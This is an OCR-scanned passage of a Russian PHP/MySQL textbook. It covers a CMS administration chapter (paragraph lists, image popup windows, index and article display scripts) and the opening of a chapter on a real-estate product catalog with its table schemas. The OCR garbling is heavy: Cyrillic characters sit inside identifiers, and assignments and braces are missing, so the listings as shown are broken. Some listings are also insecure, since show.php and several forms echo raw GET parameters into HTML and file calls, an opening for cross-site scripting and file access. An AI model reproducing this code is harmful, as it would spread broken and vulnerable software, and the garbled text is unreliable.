654 Часть 11. Создание са йта ляющие ссылки. В листинге 12.15 приводится содержимое файла раl'а­ grapll.php . Листинг 12.15. Список параграфов paragraph.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config .php ") ; // Подключаем блок авторизации requi re_once (" ../utils/security_m od .php" ) ; // Подключаем SoftTime FrameWo rk requi re_once ("../ ../config/class . config .dmn.php" ) ; // Навигационное меню requi re_once (" ../utils /utils .navigation .php" ) ; // Обработка текста перед выводом requi re_once (" ../utils/utils . printyage .php" ) ; // Защита от SQL-инъекции $_GET ['id_p osition' ] $_GET ['id_c atalog ' ] intval ( $_GET ['idyosition' ]); intval ( $_GET ['id_catalog ']); try // Извлекаем информацию о разделе $query = "SELECT * FROM $tbl_catalog WНERE id_catalog $_GET [id_catalog ] LIMIT 1"; $cat = mysql_que ry ( $query) ; if (!$cat ) throw new Except ionМySQL (mysql_e rror () , $query, "Ошибка при обращении к разделу" ) ; $catalog = mysql_fet ch_a rray ($cat) ;
Глава 12. Система администрирования содержимого сайта (CMS) // Извлекаем информацию об элементе $query = "SELECT * FROM $tblyos ition WHERE idyosition = $_GET [idy osition) "; $роз = mysql_query ($que ry) ; if (!$роз ) throw new Except i onМySQL (mys ql_e rror () , $query , $pos it ion $title $pageinfo $titlepage "Ошибка при обращении к элементу ") ; 'Элемент ('.$catalog ['n ame' ). , - '.$position [ 'name ' ).')'; '<р сlаss=hе lр>Здесь осуществляе тся администрирование элемента ('.$catalog ['name' ). , - '.$positiOn ['name') . ') . Пара граф может представлять собой как обычный текстовый абзац , так и заголовок . Возможно исполь зование ше сти уровней заголовков (Hl, Н2, НЗ, Н4, Н5, Нб), Н1 - самый крупный заголовок, применяeмblЙ обычно для названия страниц ; далее заголовки' уменьшаются в 655 размере , то есть Нб - это самый мелкий заголовок .</р>' ; // Количество ссылок в постраничной навигации $page_l ink = з; // Количе ство элементов на странице $pnurnbe r = 10; // Объявляем объект постраничной навигации $obj = new pager_mys ql ($tbl_paragraph , "WНERE id_pos ition = $_GET [id_po sition ) AND id_catalog=$_GET [id_c atalog) ", "ORDER ВУ роз ", $pnurnbe r, $page_l ink ,
б5б Часть 11. Создание са йта "&idy osition=$_GET [id_pos ition) & ". "id_c atalog=$_GET [id_ catalog)"); // Получаем содержимое текущей страницы $paragraph = $obj - >getyage () ; 7 / Включаем заголовок страницы require_once (" ../utils/top .php" ) ; // Если это не корневой раздел , выводим ссылки для возврата // и для добавления подраздела if ( $_GET ['id_catalog ') != О) echo '<table cellspacing="O" cellspacing="O" borde=O><tr> <tr valign="top"><td height= "25"><p> '; echo "<а class=menu hre f=index . php?idya rent=O> Корн евой каталог< /а>- &gt ;". menu_navigation ( $_GET ['id_catalog ' ), "", $tbl_catalog ) .$pos ition ['name ' ) ; echo "</td>< /tr></table>"; // Добавить параграф echo "<form action=paradd .php>"; echo "<input class=but ton type=submit vаluе= 'Добавить параграФ '><Ьr><Ьr> "; echo "<input type=hidden name=page value= '$_GET [page ) '><br><br> "; // Выводим заголовок таблицы разделов echo "<input type=hidden name=id_catalog value=$_GET [id_c atalog ) >" ; echo "<input type=hidden name=id_pos ition value=$_GET [idy osition) >" ; echo '<table width="100% " class=" table"
Глава 1 2. Система администрирования содержимого сайта (CMS) borde r="O" cellpadding="O" cellspacing="O"> <tr class= "header" align= " cente r"> <td width=2 0 align= center> <input type=radio name=pos value=-l che cked></td> <td аligп= сепtеr>Содержимое</td> 657 <td width=lOO аligп=сепtеr>Иэображения<Ьr> и файлы< /td> <td width=lOO аligп= сепtеr>Тип</td> <td width=2 0 аligп= сепt еr>Поэ . </td> <td width=50>Действия</td> </tr> ' ; if ( ! empty ($paragraph ) ) for ($i $url О; $i < count ( $paragraph) ; $i++) ..id_paragraph= {$paragraph [$i] [id_p aragraph ] } . .. .. &idyo sition=$_GET [ id_po sition] & .. . "id_c atalog=$_GET [id_ catalog] ". "&page=$_GET [page] "; // Выясняем тип параграфа $type = "Параграф "; switch ( $paragraph [$i] ['t ype' ]) case 'text' : $type = "Параграф "; break; case 'title hl ': $type = "Заголовок Hl "; break; case 'title h2 ': $type = "Заголовок Н2 "; break; case 'title hЗ ': $type = "Заголовок НЗ "; break;
658 case 'title h4 ': $type = "Заголовок Н4 "; break; case 'tit1e h5 ': $type = "Заголовок Н5 "; break ; case 'title h6 ': $type = "Заголовок Н6 "; break; case '1ist' : $type = "Список" ; break; // Выясняем тип выравнивания параграфа $a1ign = ""; switch ( $paragraph [$i] ['a 1ign' ]) case '1eft' : $a1ign = "a1ign= left "; break; case 'center ': $a1ign = "a1ign=cente r" ; break ; . case ' :t;ight' : $a1ign = "a1ign=right "; break; // Выясняем, скрыт раздел или нет if ( $paragraph [$i] ['h ide'] == 'hide' ) Часть /1. Создание сайта $strhide = "<а hrе f=раrshоw .рhр ?$ur1>Отобразить </а>" ; $sty1e=" c1ass=hiddenrow "; e1se $strhide = "<а hrе f=раrhidе .рhр ?$ur1>Скрыть </а>" ; $sty1e=" ";
Гn а ва 12. Система администрирования содержимого сайта (CMS) // Вычисляем, сколько изображений у данного элемента $ query = "SELECT COUNT (*) FROM $tbl_p aragraph_irnage 659 WНERE id-paragraph = {$paragraph [$i] [id-paragraph] } AND id_po sition = $_GET [id-р оs itiоп] AND id_catalog = $_GET [id_ catalog]"; $tot = mysql_query ( $query) ; if (!$tot ) throw new ExceptionМySQL (mys ql_e rror () , $que ry , "Ошибка при подсчете количества изображений" ) ; $total_image = mys ql_re sult ( $tot , О) ; if ($t otal_image ) $print_irnage " ($t otal_image )"; else $print_irnage echo "<tr $style> "" . , <td align=center> <input type=radio naтe=pos value=" . $paragraph [$i] ['pos'] ."> </td> <td><p $аНgn>" . n12br (print-page ($paragraph [$i] ['пате ' ])) . "</p></td> <td align=center> <а hrеf=irnagе .рhр ?$url>Изображения$рriпt_imagе</а> </td> <td align=center>".print_page ($t ype ) . "</td> <td align=center> " . $paragraph [$i] ['pos ' ] . "</td> <td> <а href=parup .php ?$url>BBepx</a><br> $strhide<br> <а hrеf=раrеdit . рhр?$url>Редактировать </а><Ьr> <а href=# onClick=\ "delete_p osi tion ( 'pardel . php?$url ' , " . "'Вы действительно хотите удалить параграФ' );\ ">Удалить</а><Ьr> <а hrеf=раrdоwn .рhр ?$url>Вниз</а></td> </tr>" ; echo "</table><br><br> ";
ббО Часть 1/. Создание са йта ?> echo "</fo=>"; / / Выв одим ссылки на другие страницы echo $obj ; catch ( Excepti onМySQL $ехс ) require (" ../utils/except ion_my sql.php ") ; / / Включаем завершение страницы requi re_once (" ../utils /bottom.php ") ; <script language= 'JavaScript , type= 'text /javascript '> <1-- function de lete_par (url ) if (con fi=("Bbl действитель но хотите удалить параграф ? ") ) location . href=url ; return false; //--> </script> ЗАМЕЧА НИЕ Скрипты , осуществляющие редактирование, удаление, скрытие/отобра­ же ние и перемещение параграфов повторяют аналогичные скрипты , ранее рассмотренные для разделов. И х листи нги не приводятся в книге, но с ними можно ознакомиться на компакт-диске , поставляемом вместе с книгой. Переход по ссылке "Изображения" приводит к странице управления изображе­ ниями параграфа image.php. Содержимое файла image . pl1p повторяет ранее рас­ смотренные страницы index.php, position .php и paragгaph.pI1p, обеспечивая по­ страничный вывод табл ицы system_paragraph_image ($ tbl_paragraph_ima ge) . Интересной особенностью данной системы управления является отображение изображе ния в отдел ьном окне (рис. 12.9).
Глава 12. Система а дминистрирования содержимого са йт а (CMS) 661 Рис. 12.9 . В Ы ВОД изображения ВО вспл ывающем окне За ВЫВОД изображения в отдел ьном окне несет ответственность файл show.pl1p, содержи мое кото рого представл ено в листинге 12.16. Листинг 12.16. Окно ДЛЯ отображения изображения <?php $filename = $_GET ['img' ]; $size = getimages ize ($filename} ; ?> <html > <head> <titlе>Просмотр фотографии< /titlе> <me ta http- equiv= " imagetoolbar" content= "no"> <style>
бб2 Часть 11. Создание сайта table {font - size : 12px ; font-fami ly : Arial, He lvet ica , sans -serif; back­ ground- color : #F3F3F3; } </style> </head> <body ma rginhe ight= "O" ma rginwidth= " О " rightma rgin= " О " bottomrnargin=" О " leftma rgin= " О " topmargin="O"> <table height="lOO%" cel lpadding= "O" cellspacing="O" width="lOO%" borde r="l"> <tr> <td he ight="lOO%" valign= "rniddle" align= "center"> Дождитесь загрузки изображения <div style="position : ab solute ; top : Орх ; left : Орх"> <img src="<? echo $fi lename; ?>" borde r="O" <?= $size [3] ?» </div> </td> </tr> </table> <div style="pos ition : absolute ; z-index : 2; width : 100% ; bottom: 5рх " align= "center"> <input class=button type= "sиbrni t" vаluе= "Закрыт ь" onclick="window. close () ; "></div> </body> </html > 12.3. Систе ма предста вления в первую очередь необходимо организовать меню для доступа к разделам и элементам из любой точки саЙта . Для этого модернизируем paccmot-реННblЙ в разделе 10.3 файл top.php, добавив в него, помимо блока для вывода трех по­ следних новостных сообщений, вывод корневых разделов систе МbI ад мини­ стрирования содержимого сайта (рис. 12.10).
Глава 12. Система а дминистрирования содержимого сайта (CMS) о рд3ДЕnЫ ._- -- -- ----- 211О7-06 -21 16:46.'IЮ I ОдиккадцаТGe НОlЮCтtюe соо6щенке. . Одиннад.J. .J,a тое новостное -сообщеНИе. Одинна.дц.атое новостное сообщение .• , • D.9.H.P'Q§!:ig.� 2007 -06 -20 16:46:60 I Десятое иоаocrиое сообще...е. . Дестое новостное сt%-6щение� ДeGIТoe H080C'1 1i Oe ·сообщение:. ДеСЯ1'ое новостное соо6ще.'iИ:. Десятое :ноео,. .. :1.007-06-19 16:45:0 0 . 1 Девятое ""IЮC1""ое со о бще.. .. е. Девятое 1106C":Т'Н ое CDобщеI1Ш�. ДeeSfТoe :НО80стное сообшеНIII!. Дёбятое НОВОСПiое Q)общеж�. Девя-:гое НО50с. • • Рис. 12.10 . Блок доступа к разделам сайта ббЗ в л исти нге 12.17 приводится фрагмент файла top.php, который несет ответ­ ств енность за формирование блока "Разделы". Листинг 12.17. Вывод корневых разделов сайта <?рЬр // Устанавливаем соединение с базой данных requi re_once ("config/config .php" ) ; // Подключаем систему классов requi re_once ("config/class.config . php " ); $query "SE LECT * FROM $tbl_catalog WНERE hide = 'show ' AND id_parent ORDER ВУ роз"; $cat = mys ql_que ry ($query) ; о if (!$cat ) ехit ("Ошибка при обращении к блоку статей" ); if (mysql_num_rows ($cat) ) wh ile ($catalog есЬо "<Ь><а hre f=index . php?id_catalog=$ catalog [ id_catalog] class=\ "rightpanel_lnk\">
664 Часть 11. Создание сайта $catalog [narne ] < /a>< /b><br><br> "; ?> Каждая из ссылок ведет на файл il1dex. pllp, который, в зависимости от значе­ ния передаваемого ему GЕТ-параметра id_catalog, выводит значение того или иного раздел а. Раздел может содеражать как другие подраздел ы, та к и элементы (рис. 12 .1 1). о новоcrи -- ------- ---- - . 2L06.2007 I<ОА"кнаАцато", .., Asustek tЮ8оСтltое со о бщеl9tе� " QAl1HHaLlUiIJТOe HO� соОБЩe1l'f:. O.!llltfl10.!lW!TDO MOвocrнc.e (ообщ,,;и.,... , Ерох . · �OO� Рис. 12.1 1. Список подраздел ов раздела Рис. 12.12. Список статей
Глава 12. Система администрирования содержимо го сайта (CMS) 665 Каждый раздел может содержать элементы (статьи), кото рые выводятся в виде списка (рис. 12 .l2). Причем, есл и раздел содержит тол ько одну стат ью - она выводится без списка подраздел ов и статей. В листинге 12.18 приводится содержимое файла il1dex. pllp. Листинг 12.18. ВЫВОД содержимого подразделов, index.php <?php // Инициируем сессшо session_s tart () ; // Устанавливаем соединение с базой данных require_once ("config/config .php" ) ; // Подключаем SoftTime FrameW ork require_once ("config/class.config .php ") ; // За головок requi re_once ("ut ils . title .php ") ; // Определяем параметр для статей de fine ("ART ICLE", 1) ; try // Если не передан параметр id - pos ition - выводим список статей if (emp ty ( $_GET ['id_po sition' ])) // Проверяем GЕТ-параметры, предотвращая SQL- инъе кцию $_GET ['p age'] intval ($_GET ['page' ] ) ; intval ( $_GET ['id_catalog ']); // Запрашиваем параметры текущего раздела $query = "SELECT * FROM $tbl_catalog WHERE id_catalog = ".$ _GET [ , id_catalog ' ] ; $cat = mysql_que ry ( $query) ; if (!$cat ) throw new ExceptionМySQL (mys ql_error () , $que ry,
ббб Часть 11. Создание сайта "Ошибка при иэвлечении параметров текуще го раэдел�") ; $catalog = mysql_fet ch_a rray ($cat) ; // Подключаем верхний шаблон $pagenaтe $catalog ['naтe' ]; $keywords $catalog ['keywords ']; require_once ("t ernp lates/top.php" ) ; // Наэвание echo title ( $pagenaтe) ; // Запрашиваем подраэделы текуще го раэдела $query = "SELECT * FROM $tbl_catalog WНERE hide = , show ' AND idJ'arent ORDER ВУ pos "; $sub = mysql_query ($que ry) ; if (!$sub ) throw new ExceptionМySQL (mys ql_error () , $que ry, "Ошибка при обращении к блоку статей " ); echo "<div class=\ "main_txt \">"; while ($subcatalog = mys ql_fetch_array ($sub) ) echo "<а href=\ "".$ _SERVER ['PHP_SELF '] . "?id_catalog=" .$subcatalog ['id_catalog '] ."\" Class=\ "menu_lnk\"><h3>" . htmlspecialchars ($subcatalog [ 'пате' ]). "</a></h3>" ; echo "</div>";
Глава 12. Система администрирования содержимого сайта (CMS) 667 // Запрашиваем статьи текуще го раздела $query = "SELECT * FROM $tblyosition WНERE hide = 'show ' AND id_catalog ORDER ВУ роз"; $роз = mysql_que ry ($query) ; if (!$роз ) throw new Except i onМySQL (mys ql_e rror () , $que ry, "Ошибка при обращении к блоку статей " ); // Стать я одна и подразделов нет if (mysql_num_rows ($pos ) == 1 && !mysql_num_rows ($sub ) ) // Получаем параметры текущей статьи $position = mys ql_fetch_array ($pos) ; // Если статья на самом деле является // ссылкой - осуществляем редирект if ( $position[ 'ur l'] != 'article ') echo "<HTML><HEAD> <МЕТА HTTP-ЕQU IV= 'Rеfrеsh ' CONTENT= 'O; URL=$pos ition [url ] ,> </НEAD></HTML> "; exit () ; // Статья одна и нет подразделов - выводим содержимое статьи $_GET ['id_position' ] = $pos ition ['id_pos ition ']; requi re_once ("article_p rint .php " ); // С татей несколь ко или имеются также подразделы else
668 Часть 11. Создание сайmа echo "<div class=\ "rnain_txt\">" ; wh ile ( $position = mys ql_fetch_array ($pos) ) if ( $pos ition[ 'ur l'] != 'article ') echo "<а href=\ "".htmlspecialcha rs ($position ['u r l' ]) ."\" class=\ "rnain txt lnk\"> ".html specialchars ($pos ition [ 'пате' ]) . "</a><br> " ; else echo "<а href=\ " $_SERVER [ PHP_SELF] ? id_catalog=$_GET [ id_catalog ] & ". "id_po sition= $position [ idy osition ]\" class=\ "rnain_txt_lnk\ ">" . html specialchars ($pos ition [ 'пате' ] ) . "</a><br>"; echo "</div>" ; else // Проверяем GЕТ-параметры , предотвращая SQL-инъекцию $_GET ['idyo sit ion '] = intval ( $_GET ['id_pos ition' ]); // Получаем параметры текущей статьи $query = "SE LECT * FROM $tbl_position WHERE hide = 'show ' AND id_position $pos = my sql_que ry ($que ry) ; if (!$pos ) $ GET [id_p osition] "; throw new Excepti onМySQL (mysql_error () , $query,
Глава 12. Система адм инистр ирования содержимого сайта (CMS) "Ошибка при обращении к блоку статей" ) ; $position = my sql_fet ch_a rray ($pos) ; // Если статья на самом деле является // ссылкой - осуще ствляем редирект if ( $position[ 'ur l'] != 'article ') echo "<HTML><НEAD> 669 <МЕТА HTT P-ЕQUIV= 'Rеfrеsh ' CONTENT= 'O; URL=$pos ition [url ] '> </HEAD></HTML> "; exit () ; // Подключаем верхний' шаблон $pagename = $pos ition[ 'name' ]; if (emp ty ( $pagename) ) $pagename = "Каталог "; $_GET ['id_catalog '] = $pos ition ['id_catalog ']; $keywords = $pos ition ['keywords ']; require_once ("templ ates /top .php" ) ; // Название echo title ( $pagename) ; // Выводим статью require once ("article_p rint .php " ); catch ( Excepti onМySQL $ехс ) requi re_once ("excepti on_my sql_debug .php " ); catch ( Excepti onМySQL $ехс )
670 Часть 11. Создание сайmа ?> require_on ce ("except ion_my sql_debug .php " ); catch ( Excepti onМember $ехс ) requi re_once ("except ion member debug .php" ) ; // Подключаем нижний шаблон requi re_once ("templates /bottom.php" ) ; Файл index.pl1p формирует тол ько списки подразделов и стате й; передача файлу index.php GЕТ-параметра id_pos ition приводит к подключению ф ай­ ла arti cle_print.pI1p, который, в свою очередь, формирует статью (рис. 12.13). В листинге 12. 19 приводится содержимое файла article_p rillt.php . 8 последнее Bper�Q ЛQI1УЧИПИ большое pzм:npoстраНЕliие а1Стемы управления содержимым саЙ'Та (Conter!t r- - 1anagement Svstem - C.. .. S). Ct -1S - !JTQ Q1сте.иа, КOTOpaR позволяет владеГtbЦУ cal1Ta yr.pa6MТb текстовой и графичеО<оii инФорнаW1еi1 на сайте без КОДl-lрования :: иcr:юльsовatiиet1 технологий pt-t? f MySQL, I-ПМL, J."",Sсфt, FШh 11 Т.Д. Появление caH�IX разнообра3НI:IХ CMS 5Ыэваr:О .дб'1'МrI прнчwнанв; Рис. 12.13 . ВЫВОД статьи Листинr 12.19. Блок формирования статьи, arti cle_print.php <?php if ( ! defined ("ARTICLE") ) return; if ( !preg_ma tch ("1 л [\d] +$ 1 ", $_GET ['id_position ' ] ) ) return ; if ( !preg_ma tch ("1 л [\d] +$ 1 ", $_GET ['id_catalog ' ] ) ) return;
Глава 12. Система администрирования содержимого сайта (CMS) // Обработка текста перед выводом require_once ("dmn /utils/uti1s .printyage .php" ) ; // Выводим список разделов $query = "SELECT * FROM $tblyaragraph WНERE idyosition = $_GET [idy osition] AND id_cata1og = $_GET [id_ca ta1og ] AND hide = 'show ' ORDER ВУ pos "; $par = mysq1_query ($query) ; if (!$par ) ехit ("Ошибка при обращении к пара графам элемента ") ; $type_cata1og = ""; if (mysq1_num_rows ($par» O) wh i1e ( $paragraph = mysq1_fet ch_array ($par) ) // Выясняем тип выравнивания пара графа $a1ign = ""; switch ( $paragraph ['a 1ign' ]) case 'left' : //$type . = " (влево) "; $a1ign = "left"; break; case '�enter ': //$type . = " (по центру) "; $a1ign = "center" ; break; case 'right' : //$type .= " (вправо )"; $a1ign = "right"; break; 671
672 Часть 11. Создание са йта // Изображения злемента $irnageyrint = ""; $query = "SELECT * FROM $tbl_paragraph_image WHERE id_paragraph = $paragraph [ id_paragraph ] AND id_po sition = $_GET [idy osition ] AND id_catalog = $_GET [id_ catalog] AND hide = 'show'''; $img = my sql_query ($query) ; if ( ! $img ) exit ("Ошибка при извлечении изображений ") ; if (mysql_num_rows ($img ) ) // Извлекаем изображения un set ($img_a rr ); wh ile ($irnage = my sql_fet ch_a rray ($img) ) // ALТ-тэг if (!empty ($image['alt ' ])) $alt else $alt = ""; / / Размер малого изображения "alt= ' $image [alt ] "' ; $size_srna ll = @getima gesize ($ima ge ['sma l l' ]); // Название изображения if (!empty ($ima ge ['пате' ])) $пате else $пате "<br><br><b> ".$irnage [ 'пате ' ] . "</Ь >"; - "" . - , // Боль шое изображение if (empty ($irnage [ 'bi g' ])) else "<img $alt src= ' $irnage [srnall ] , width=$ size_srnall [Q] he ight=$ size_small [1] >$пате" ;
Гл а ва 12. Система администрирования содержимого са йта (CMS) $size = @getimages ize ($image ['big ' ]); $img_a rr [] "<а hre f=# onc1ick=\"show_img ('$ima ge [id_irnage ] ',". $size [O] o","o$size [l] о") ; return fa1se \"> <img $a1t src='$irnage [ sma 11] ' border=O width=$size_srna11 [0] he ight=$ size_srnall [l] ></a>$narne" ; for ($i = О; $i < count ($img_a rr )%3; $i++) $img_a rr [] // Выводим изображения for ($i = О, $k = О; $i < count ($irng_arr); $i++, $k++) if($k == О) "" ., "<table ce11padding=5><tr va 1ign=top> "; 673 $irnage_print $image_print if($k == 2) "<td c1ass=\ "main_txt\">" o$irng_a rr [$i] o"</td>"; $k= -1; $image_print "</tr></table> "; // Выясняем тип параграфа $c1ass = "rightpane 1_txt "; switch ( $paragraph ['t ype' ]) case 'text' : $c1ass = "rnain_txt "; echo "<div a1ign=$a1ign c1ass=$c1ass>" o n12br ( print�age ( $paragraph ['narne' ])) о "<br>$ image_print</div>"; break;
674 сазе 'title hl ': $class = "ma in_ttl"; echo "<hl align=$ align class=$class>" . print-p age ($paragraph ['name' ] ) . "</hl> "; break; сазе 'title h2 ': $class = "main_tt l"; echo "<h2 align=$ align class=$class>" . print_page ($p aragraph ['name' ]) . "</h2>"; break ; сазе 'title hЗ ': $class = "main_ttl"; echo "<hЗ align= $align class=$class>" . print_page ($p aragraph ['name' ]) . "</hЗ>" ; break; сазе 'title h4 ': $class = "main_ttl"; echo "<h4 align=$align class=$class>" . print-page ($paragraph ['name' ] ) . "</h4>"; break; сазе 'title h5 ': $class = "main_ttl"; echo "<h5 align=$ align class=$class>" . print_раяе ($paragraph [ 'nаше ' ] ) . "</h5> "; break; сазе 'title h6 ': $class = "main_ttl"; echo "<h6 align= $align class=$class>" . print_page ( $paragraph ['name']). "</h6>" ; break; Часть 11. Созда ние са йта
Глава 12. Система администрирования содержимого сайта (CMS) ?> сазе 'list' : $arr = explode ("\r\n" , $paragraph[ 'name' ] ); $ class = "rnain_txt "; if (!ernp ty ($ап) ) echo "<div align=$ align class=$class><ul> "; for ($i = О; $i < count ($arr) ; $i++) echo "<Н>" .printyage ($arr [$i] ) . "</li>" ; echo "</ul></div><br> "; break; <script language= 'JavaScriptl .l' type= 'text/javascript '> <1-- function show_irng (id_irnage ,width , height ,adrn) var а; var Ь; var url ; vidWindowWidth=width ; vidWindowHe ight=he ight ; а= (sсrееп .hе ight-vidWiпdоwНеight )/5; Ь= ( sсrееп . width-vidWiпdоwWidth )/2; features = "top=" + а + ",left=" + Ь + ", width= " + vidWindowWidth + ", he ight= " + vidWindowHe ight + ", toolba=no, " + "rnenubar=no ," + "location=no, " + 675
676 "directories=no, " + "scrollbars=no, " + "resizable=no " ; url= " show . php?id_irnage=" + id_image ; window .open (url , " ,features , true ) ; //--> </script> Часть 11. Соз дание сайта JаvаSсгi рt-с крипт show_img () несет ответств енность за вы вод большого изо­ бражения в отдел ьном окне при помощи скри пта Sl1 OW.pllp из листинга 12.20. Листинг 12.20. Отображе ние увеличенного изображения, show. php <?php ?> // Устанавливаем соединение с базой данных require_once ("c onfig/config .php ") ; // Пр едотвращаем SQL-инъекцию $_GET [ 'id_irnage '] intval ( $_GET ['id_image ']); $query "SELECT * FROM $tblyaragraph_image WНERE hide = 'show ' AND id_image = $_GET [id_image ]"; $pos = mysql_query ($query) ; if ($роз ) $position = my sql_fetch_array ($pos) ; else exit ( $query) ; else exit (mysql_error () ); <html> <head> <titlе>Просмотр изображения</titlе> <me ta http-equiv=" irnagetoolbar" content= "no">
Глава 12. Система администр ир ования содержимого сайта (CMS) 677 <style> table { font - size : 12рх; font - fami1y : Ari al , He1vetica , sans -serif; back­ ground-color : #F3F3F3 ; } </style> </head> <body ma rginhe ight=" O" ma rginwidth= "O" rightmargin=" О " bottommargin=" О " leftmargin=" О " topmargin="O"> <table height="100%" cellpadding="O" cellspacing="O" width="100%" bo rde r="l"> <tr> <td he ight="100% " va lign= "middl e" align= "center"> Дождитесь загрузки изображения <div style="position : absolute; top : Орх ; left : Орх"> <img src= "<?= $pos ition[ 'bi g' ] ;?>" border="O"> </div> </td> </tr> </table> <div style= "position : ab solute ; z- index : 2; width : 100% ; bottom: 5рх " align= "center"> <input class=button </body> </html > type= "submit" vа luе= " Зак:рыть " onclick="window. close () ; "></div>
ГЛАВА 13 Катал ог продукц ии (услу� Каталог продукци и или услуг, наряду с системой управления содержимым сайта (CMS), зачастую является центральным блоком - владел ьцы сайта стремятся как можно более подробно представить весь спектр предоставляе­ мых услуг. В данной гл аве будет продемонстрировано создание типичного катал ога продукции ил и услуг, которые в гл аве будут называться товарными позициями. Товарные позиции могут объединяться в подкаталоги, которые, в свою очередь, сами могут содержать другие подкаталоги. Таким образом, структура каталога может быть многоуровневой (причем количество уровней не ограничено). Структура каталога представляет собой дерево, узл ам и кото­ рого являются группы продукции. 13.1 . Проектирование баз ы да нных База данных каталога продукции будет состоять из двух табл иц: system catalog, предназначенной для хранения подкаталогов, и system_po sition, предназначенной для хранения товарных позиций. Структура табл ицы system_ catalog полностью аналогична структуре табл и­ цы system_menu _catalog, С подробным описанием полей которой можно оз­ накомиться в разделе 12. 1 . В листи нге 13.1 приводится оператор CREATE TAВLE, создающий таблицу system_ catalog. Листи нг 1 3 .1 . Таблица подкаталогов sys tem_ca tal og CREATE TAВLE system_catalog ( id_catalog int (ll) NOT NULL auto_increment , пате tinytext NOT NULL ,
Гл ава 1 З. Каталог продукции (услуг) ); description text NOT NULL , keywords tinytext NOT NULL , modrewrite tinyt ext NOT NULL , pos int (ll) NOT NULL default 'О', hide enum( 'show' , 'hide' ) NOT NULL default 'show' , id_parent int (ll) NOT NULL de fault 'О', PRlМARY КЕУ (id_catalog ) 679 При проектировании таблицы system_pos ition для хранения то варных пози­ ций можно выбрать два подхода: LI специализированная таблица, содержащая поля для уникальных характе­ ристик (например, количество ко мнат в квартире, есл и речь идет о риел­ те рском катал оге, ил и вес товарной позиции, есл и речь идет о катал оге продукции); LI универсал ь ная таблица, не содержащая уникальных полей, одинаково подходящая для любых катал огов. Ис пользование универсальной табл ицы позволяет не менять код приложе ния при создании нового катал ога продукци и, однако снижает функциональность и гибкость катал ога. Если не испол ьзуются уникальные поля с параметрам и товар ной позиции, товарные позиции практи чески невозможно отсортиро­ вать по одному из параметров, так же как невозможно осуществить поиск по сл ожному критерию, например, с заданием цены в определенном интервале. В то же время катал ог с подробным описанием всех характеристик не воз­ можно использовать повто рно без переработки (рис. 13.1). I I I I I Универсальный каталог Параграф I Параграф I Параграф I Специализированный каталог I I I Этажность I I Цена I I Материал I Рис. 13.1. Универсал ьный и специализированный каталоги
680 Часть 11. Создание сайmа Рассмотр им специализированную табл ицу, предназначенную дл я хране ния позиций катал ога риелтерс ких услуг. Табл ица systern_ position будет состо ­ ять из сл едующих полей: О id_po sition - первичный кл юч табл ицы, предназначенный дл я иде нти ­ фикации позиции и снабже нный атрибутом АО ТО_ INCREMENT, позволя ю­ щим авто матически ге нерировать для новых записей уникальный иден ­ тиф икато р; О note - краткое замечание; О district - поле для хранения района, где расположе на кварти ра; имеет тип ENUM и принимает од но из 8 значений, по кол ичеству районов города; О addre ss - поле для хране ния адреса; О square_o - общая площадь квартиры; О square_j -жилая площадь квартиры; О square_k - площадь всех комнат; О roorns - кол ичество ко мнат; О floor - этаж; О floorhous e - этажность дома; О rnaterial - материал дома, поле имеет тип ENUM и принимает три значе­ ния: 'b rick', 'concrete', 'reconcrete' для кирпичных, панел ьных и моно­ литных домов соответственно; О su - поле, характеризующее санузел квартиры; имеет тип ENUM и прини ­ мает два значения : 'separate' И 'cornbined' для раздел ьного и совмещенно­ го санузл ов соответственно; О balcony - поле, характе ризующее тип балкона; имеет тип ENUM и прини­ мает два значения : 'ba lcony' И 'loggia' для балкона и лоджии соответст­ венно; О price - целочисленное поле дл я общей цены квартиры; О pricerneter - целочисленное поле для цены за квадратный метр; О currency - поле для валюты, используе мой в полях price И pricerneter; имеет тип ENUM и принимает два знач ения : ' RUR ' и 'USD ' дЛЯ рублей и дол­ ларов соответственно; О hide - поле типа ENUM, принимающее два значения, 'show' И 'hide', И оп­ редел яющее доступность то варной позиции для просмотра посетителям и .
Глава 1 з. Каталог пр одукции (услуг) 681 По умолчанию поле принимает значение ' show ' , что означает, что товар­ ная позиция доступна посетителями для просмотра; CJ p os - поле, определяющее положе ние товарной позиции относител ьно других при выводе списка квартир в окне браузера; CJ id_c atalog - поле, определяющее принадлежность товарной позиции к катал огу. Операто р CREATE TABLE, выпол няющий создание таблицы system_position, приведен в листи нге 13.2 . Листинг 13.2 . Создание та бл ицы product CREATE TAВLE system_pos ition ( id_po sition INT (ll) NOT NULL AUTO_INCREМENT, note TINYTEXT NOT NULL , di strict ENUM( ' kanavins kii ', address squa reo squa rej squa rek 'ni zhegorods kii ', 'sovetskii ', 'priokskii ' , 'moskovs kii ' , 'avtozavodskii ', 'lenins kii ', 'sormovskii ') NOT NULL default 'kanavins k ii ', TINYTEXT NOT NULL , 8МALLINT ( 6) NOT NULL DEFAULT 'О' , 8МALLINT ( 6) NOT NULL DEFAULT 'О' , 8МALLINT ( 6) NOT NULL DEFAULT 'О' , rooms TINYINT (4) NOT NULL DEFAULT 'О', floor TINYINT (4) NOT NULL DE FAULT 'О', floorhous e TINYINT (4) NOT NULL DEFAULT 'О' , mat erial ENUМ ( 'brick ', , concrete ' , 'reconcrete ') NOT NULL DEFAULT 'brick ', su ENUМ( ' separate ', 'combined ') NOT NULL DE FAULT 'separate ', bal cony ENUМ ('balcony ', 'loggia ') NOT NULL OE FAU LT 'balcony ', price INT (10) NOT NULL OE FAULT 'О', pricemeter INT (10) NOT NULL OEFAULT 'О', currency ENUМ(' RUR ', 'И80' , 'EUR' ) NOT NULL OEFAULT 'RUR' ,
682 ); hide ENUМ('show' , 'hide' ) NOT NULL DEFAULT 'show ' , pos INT (ll) NOT NULL DEFAULT 'О', putdate DATETlМE NOT NULL , id_catalog INT (B) NOT NULL DEFAULT 'О', PRlМARY КЕУ (id_position) , КЕУ id_catalog (id_catalog ) Часть 11. Создание сайта 13. 2 . С истема ад м инистрировани я Разработку каталога, так же как и системы управления содержи мым сайта (CMS), начнем с создания системы адм инистрирования, которая включает сл едующие файлы: О catadd.pllp - НТМL-форма для добавления новых подкаталогов; О catdel.pll p - скрипт дл я удаления подкаталогов; О catdowl1 .pllp - скрипт, позволяющий опускать подкаталог на одну пози­ цию вниз относител ьно остал ьных подкаталогов; О catedit.pllp - НТМL-форма для редакти рования информации о подката­ логе; о catll ide.pllp - скрипт, позволяющий скрывать подкаталог; О catsllOw.pllp - скрипт, позволяющий отображать подкатал ог; О catup.pllp - скрипт, позволяющий поднимать подкатал ог на одну пози­ цию вверх относител ьно остальных подкатал огов; О 